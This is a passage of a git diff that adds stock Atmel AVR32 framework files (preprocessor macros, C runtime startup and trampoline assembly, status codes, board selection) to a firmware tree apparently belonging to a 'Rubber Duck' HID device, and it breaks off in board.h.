MREPEAT240(macro, data) MREPEAT239(macro, data) macro(239, data) +#define MREPEAT241(macro, data) MREPEAT240(macro, data) macro(240, data) +#define MREPEAT242(macro, data) MREPEAT241(macro, data) macro(241, data) +#define MREPEAT243(macro, data) MREPEAT242(macro, data) macro(242, data) +#define MREPEAT244(macro, data) MREPEAT243(macro, data) macro(243, data) +#define MREPEAT245(macro, data) MREPEAT244(macro, data) macro(244, data) +#define MREPEAT246(macro, data) MREPEAT245(macro, data) macro(245, data) +#define MREPEAT247(macro, data) MREPEAT246(macro, data) macro(246, data) +#define MREPEAT248(macro, data) MREPEAT247(macro, data) macro(247, data) +#define MREPEAT249(macro, data) MREPEAT248(macro, data) macro(248, data) +#define MREPEAT250(macro, data) MREPEAT249(macro, data) macro(249, data) +#define MREPEAT251(macro, data) MREPEAT250(macro, data) macro(250, data) +#define MREPEAT252(macro, data) MREPEAT251(macro, data) macro(251, data) +#define MREPEAT253(macro, data) MREPEAT252(macro, data) macro(252, data) +#define MREPEAT254(macro, data) MREPEAT253(macro, data) macro(253, data) +#define MREPEAT255(macro, data) MREPEAT254(macro, data) macro(254, data) +#define MREPEAT256(macro, data) MREPEAT255(macro, data) macro(255, data) + + +#endif // _MREPEAT_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/preprocessor.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/preprocessor.h new file mode 100755 index 0000000..32677c9 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/preprocessor.h @@ -0,0 +1,53 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _PREPROCESSOR_H_ +#define _PREPROCESSOR_H_ + +#include "tpaste.h" +#include "stringz.h" +#include "mrepeat.h" + + +#endif // _PREPROCESSOR_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/stringz.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/stringz.h new file mode 100755 index 0000000..4773d07 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/stringz.h @@ -0,0 +1,73 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor stringizing utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _STRINGZ_H_ +#define _STRINGZ_H_ + + +/*! \brief Stringize. + * + * Stringize a preprocessing token, this token being allowed to be \#defined. + * + * May be used only within macros with the token passed as an argument if the token is \#defined. + * + * For example, writing STRINGZ(PIN) within a macro \#defined by PIN_NAME(PIN) + * and invoked as PIN_NAME(PIN0) with PIN0 \#defined as A0 is equivalent to + * writing "A0". + */ +#define STRINGZ(x) #x + +/*! \brief Absolute stringize. + * + * Stringize a preprocessing token, this token being allowed to be \#defined. + * + * No restriction of use if the token is \#defined. + * + * For example, writing ASTRINGZ(PIN0) anywhere with PIN0 \#defined as A0 is + * equivalent to writing "A0". + */ +#define ASTRINGZ(x) STRINGZ(x) + + +#endif // _STRINGZ_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/tpaste.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/tpaste.h new file mode 100755 index 0000000..26a7d95 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/preprocessor/tpaste.h @@ -0,0 +1,93 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor token pasting utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _TPASTE_H_ +#define _TPASTE_H_ + + +/*! \name Token Paste + * + * Paste N preprocessing tokens together, these tokens being allowed to be \#defined. + * + * May be used only within macros with the tokens passed as arguments if the tokens are \#defined. + * + * For example, writing TPASTE2(U, WIDTH) within a macro \#defined by + * UTYPE(WIDTH) and invoked as UTYPE(UL_WIDTH) with UL_WIDTH \#defined as 32 is + * equivalent to writing U32. + */ +//! @{ +#define TPASTE2( a, b) a##b +#define TPASTE3( a, b, c) a##b##c +#define TPASTE4( a, b, c, d) a##b##c##d +#define TPASTE5( a, b, c, d, e) a##b##c##d##e +#define TPASTE6( a, b, c, d, e, f) a##b##c##d##e##f +#define TPASTE7( a, b, c, d, e, f, g) a##b##c##d##e##f##g +#define TPASTE8( a, b, c, d, e, f, g, h) a##b##c##d##e##f##g##h +#define TPASTE9( a, b, c, d, e, f, g, h, i) a##b##c##d##e##f##g##h##i +#define TPASTE10(a, b, c, d, e, f, g, h, i, j) a##b##c##d##e##f##g##h##i##j +//! @} + +/*! \name Absolute Token Paste + * + * Paste N preprocessing tokens together, these tokens being allowed to be \#defined. + * + * No restriction of use if the tokens are \#defined. + * + * For example, writing ATPASTE2(U, UL_WIDTH) anywhere with UL_WIDTH \#defined + * as 32 is equivalent to writing U32. + */ +//! @{ +#define ATPASTE2( a, b) TPASTE2( a, b) +#define ATPASTE3( a, b, c) TPASTE3( a, b, c) +#define ATPASTE4( a, b, c, d) TPASTE4( a, b, c, d) +#define ATPASTE5( a, b, c, d, e) TPASTE5( a, b, c, d, e) +#define ATPASTE6( a, b, c, d, e, f) TPASTE6( a, b, c, d, e, f) +#define ATPASTE7( a, b, c, d, e, f, g) TPASTE7( a, b, c, d, e, f, g) +#define ATPASTE8( a, b, c, d, e, f, g, h) TPASTE8( a, b, c, d, e, f, g, h) +#define ATPASTE9( a, b, c, d, e, f, g, h, i) TPASTE9( a, b, c, d, e, f, g, h, i) +#define ATPASTE10(a, b, c, d, e, f, g, h, i, j) TPASTE10(a, b, c, d, e, f, g, h, i, j) +//! @} + + +#endif // _TPASTE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/startup_uc3.S b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/startup_uc3.S new file mode 100755 index 0000000..2a7f975 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/startup_uc3.S @@ -0,0 +1,118 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AVR32UC C runtime startup file. + * + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: All AVR32UC devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include + + +//! @{ +//! \verbatim + + + // This must be linked @ 0x80000000 if it is to be run upon reset. + .section .reset, "ax", @progbits + + + .global _start + .type _start, @function +_start: + // Jump to the C runtime startup routine. + lda.w pc, _stext + + + // _stext is placed outside the .reset section so that the program entry point + // can be changed without affecting the C runtime startup. + .section .text._stext, "ax", @progbits + + + .global _stext + .type _stext, @function +_stext: + // Set initial stack pointer. + lda.w sp, _estack + + // Set up EVBA so interrupts can be enabled. + lda.w r0, _evba + mtsr AVR32_EVBA, r0 + + // Enable the exception processing. + csrf AVR32_SR_EM_OFFSET + + // Load initialized data having a global lifetime from the data LMA. + lda.w r0, _data + lda.w r1, _edata + cp r0, r1 + brhs idata_load_loop_end + lda.w r2, _data_lma +idata_load_loop: + ld.d r4, r2++ + st.d r0++, r4 + cp r0, r1 + brlo idata_load_loop +idata_load_loop_end: + + // Clear uninitialized data having a global lifetime in the blank static storage section. + lda.w r0, __bss_start + lda.w r1, _end + cp r0, r1 + brhs udata_clear_loop_end + mov r2, 0 + mov r3, 0 +udata_clear_loop: + st.d r0++, r2 + cp r0, r1 + brlo udata_clear_loop +udata_clear_loop_end: + +#ifdef CONFIG_FRAME_POINTER + // Safety: Set the default "return" @ to the exit routine address. + lda.w lr, exit +#endif + + // Start the show. + lda.w pc, main + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.S b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.S new file mode 100755 index 0000000..b86ee6d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.S @@ -0,0 +1,75 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AVR32 UC3 ISP trampoline. + * + * In order to be able to program a project with both BatchISP and JTAGICE mkII + * without having to take the general-purpose fuses into consideration, add this + * file to the project and change the program entry point to _trampoline. + * + * The pre-programmed ISP will be erased if JTAGICE mkII is used. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: All AVR32UC devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "trampoline_uc3.h" + + +//! @{ +//! \verbatim + + + // This must be linked @ 0x80000000 if it is to be run upon reset. + .section .reset, "ax", @progbits + + + .global _trampoline + .type _trampoline, @function +_trampoline: + // Jump to program start. + rjmp program_start + + .org PROGRAM_START_OFFSET +program_start: + // Jump to the C runtime startup routine. + lda.w pc, _stext + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.h new file mode 100755 index 0000000..575815d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/startup/trampoline_uc3.h @@ -0,0 +1,52 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ****************************************************************** + * + * \brief UC3 trampoline definitions (default size is 8KB) + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR UC3 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ***************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _TRAMPOLINE_UC3_H_ +#define _TRAMPOLINE_UC3_H_ + +#define PROGRAM_START_ADDRESS (AVR32_FLASH_ADDRESS + PROGRAM_START_OFFSET) +#define PROGRAM_START_OFFSET 0x00002000 + +#endif // _TRAMPOLINE_UC3_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/status_codes.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/status_codes.h new file mode 100755 index 0000000..b4ddac5 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/status_codes.h @@ -0,0 +1,81 @@ +/** + * \file + * + * \brief Status code definitions. + * + * This file defines various status codes returned by functions, + * indicating success or failure as well as what kind of failure. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef STATUS_CODES_H_INCLUDED +#define STATUS_CODES_H_INCLUDED + +/** + * Status code that may be returned by shell commands and protocol + * implementations. + * + * \note Any change to these status codes and the corresponding + * message strings is strictly forbidden. New codes can be added, + * however, but make sure that any message string tables are updated + * at the same time. + */ +enum status_code { + STATUS_OK = 0, //!< Success + ERR_IO_ERROR = -1, //!< I/O error + ERR_FLUSHED = -2, //!< Request flushed from queue + ERR_TIMEOUT = -3, //!< Operation timed out + ERR_BAD_DATA = -4, //!< Data integrity check failed + ERR_PROTOCOL = -5, //!< Protocol error + ERR_UNSUPPORTED_DEV = -6, //!< Unsupported device + ERR_NO_MEMORY = -7, //!< Insufficient memory + ERR_INVALID_ARG = -8, //!< Invalid argument + ERR_BAD_ADDRESS = -9, //!< Bad address + ERR_BUSY = -10, //!< Resource is busy + ERR_BAD_FORMAT = -11, //!< Data format not recognized + + /** + * \brief Operation in progress + * + * This status code is for driver-internal use when an operation + * is currently being performed. + * + * \note Drivers should never return this status code to any + * callers. It is strictly for internal use. + */ + OPERATION_IN_PROGRESS = -128, +}; + +typedef enum status_code status_code_t; + +#endif /* STATUS_CODES_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/boards/board.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/boards/board.h new file mode 100755 index 0000000..8cc23a9 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/boards/board.h @@ -0,0 +1,194 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Standard board header file. + * + * This file includes the appropriate board header file according to the + * defined board (parameter BOARD). + * + * - Compiler: IAR EWAVR/IAR EWAVR32 and GNU GCC for AVR or AVR32 + * - Supported devices: All AVR devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _BOARD_H_ +#define _BOARD_H_ + +#include "compiler.h" + +#ifdef __cplusplus +extern "C" { +#endif + + +/*! \name Base Boards + */ +//! @{ +#define EVK1100 1 //!< AT32UC3A EVK1100 board. +#define EVK1101 2 //!< AT32UC3B EVK1101 board. +#define UC3C_EK 3 //!< AT32UC3C UC3C_EK board. +#define EVK1104 4 //!< AT32UC3A3 EVK1104 board. +#define EVK1105 5 //!< AT32UC3A EVK1105 board. +#define STK600_RCUC3L0 6 //!< STK600 RCUC3L0 board. +#define UC3L_EK 7 //!< AT32UC3L-EK board. +#define XPLAIN 8 //!< ATxmega128A1 Xplain board. +#define STK600_RC064X 10 //!< ATxmega256A3 STK600 board. +#define STK600_RC100X 11 //!< ATxmega128A1 STK600 board. +#define AVR_HIFI_AUDIO 12 //!< AT32UC3A AVR HiFi Audio board. +#define UC3_A3_XPLAINED 13 //!< ATUC3A3 UC3-A3 Xplained board. +#define UC3_L0_XPLAINED 15 //!< ATUC3L0 UC3-L0 Xplained board. +#define STK600_RCUC3D 16 //!< STK600 RCUC3D board. +#define STK600_RCUC3C0 17 //!< STK600 RCUC3C board. +#define XMEGA_A1_XPLAINED 19 //!< ATxmega128A1 Xplain-A1 board. +#define UC3_L0_XPLAINED_BC 22 //!< ATUC3L0 UC3-L0 Xplained board controller board +#define MEGA1284P_XPLAINED_BC 23 //!< ATmega1284P-Xplained board controller board +#define STK600_RC044X 24 //!< STK600 with RC044X routing card board. +#define STK600_RCUC3B 25 //!< STK600 RCUC3B board. +#define UC3_L0_QT600 26 //!< QT600 UC3L0 MCU board. +#define USER_BOARD 99 //!< User-reserved board (if any). +#define DUMMY_BOARD 100 //!< Dummy board to support board-independent applications (e.g. bootloader) + +//! @} + +/*! \name Extension Boards + */ +//! @{ +#define EXT1102 1 //!< AT32UC3B EXT1102 board +#define MC300 2 //!< AT32UC3 MC300 board +#define SENSORS_XPLAINED_INERTIAL_1 3 //!< Xplained inertial sensor board 1 +#define SENSORS_XPLAINED_INERTIAL_2 4 //!< Xplained inertial sensor board 2 +#define SENSORS_XPLAINED_PRESSURE_1 5 //!< Xplained pressure sensor board +#define SENSORS_XPLAINED_LIGHT_1 6 //!< Xplained light & proximity sensor board +#define SENSORS_XPLAINED_INERTIAL_A1 7 //!< Xplained inertial sensor board "A" + +#define USER_EXT_BOARD 99 //!< User-reserved extension board (if any). +//! @} + +#if BOARD == EVK1100 + #include "evk1100/evk1100.h" +#elif BOARD == EVK1101 + #include "evk1101/evk1101.h" +#elif BOARD == UC3C_EK + #include "uc3c_ek/uc3c_ek.h" +#elif BOARD == EVK1104 + #include "evk1104/evk1104.h" +#elif BOARD == EVK1105 + #include "evk1105/evk1105.h" +#elif BOARD == STK600_RCUC3L0 + #include "stk600/rcuc3l0/stk600_rcuc3l0.h" +#elif BOARD == UC3L_EK + #include "uc3l_ek/uc3l_ek.h" +#elif BOARD == XPLAIN + #include "xplain/xplain.h" +#elif BOARD == STK600_RC044X + #include "stk600/rc044x/stk600_rc044x.h" +#elif BOARD == STK600_RC064X + #include "stk600/rc064x/stk600_rc064x.h" +#elif BOARD == STK600_RC100X + #include "stk600/rc100x/stk600_rc100x.h" +#elif BOARD == AVR_HIFI_AUDIO + #include "avr_hifi_audio/avr_hifi_audio.h" +#elif BOARD == UC3_A3_XPLAINED + #include "uc3_a3_xplained/uc3_a3_xplained.h" +#elif BOARD == UC3_L0_XPLAINED + #include "uc3_l0_xplained/uc3_l0_xplained.h" +#elif BOARD == STK600_RCUC3B + #include "stk600/rcuc3b/stk600_rcuc3b.h" +#elif BOARD 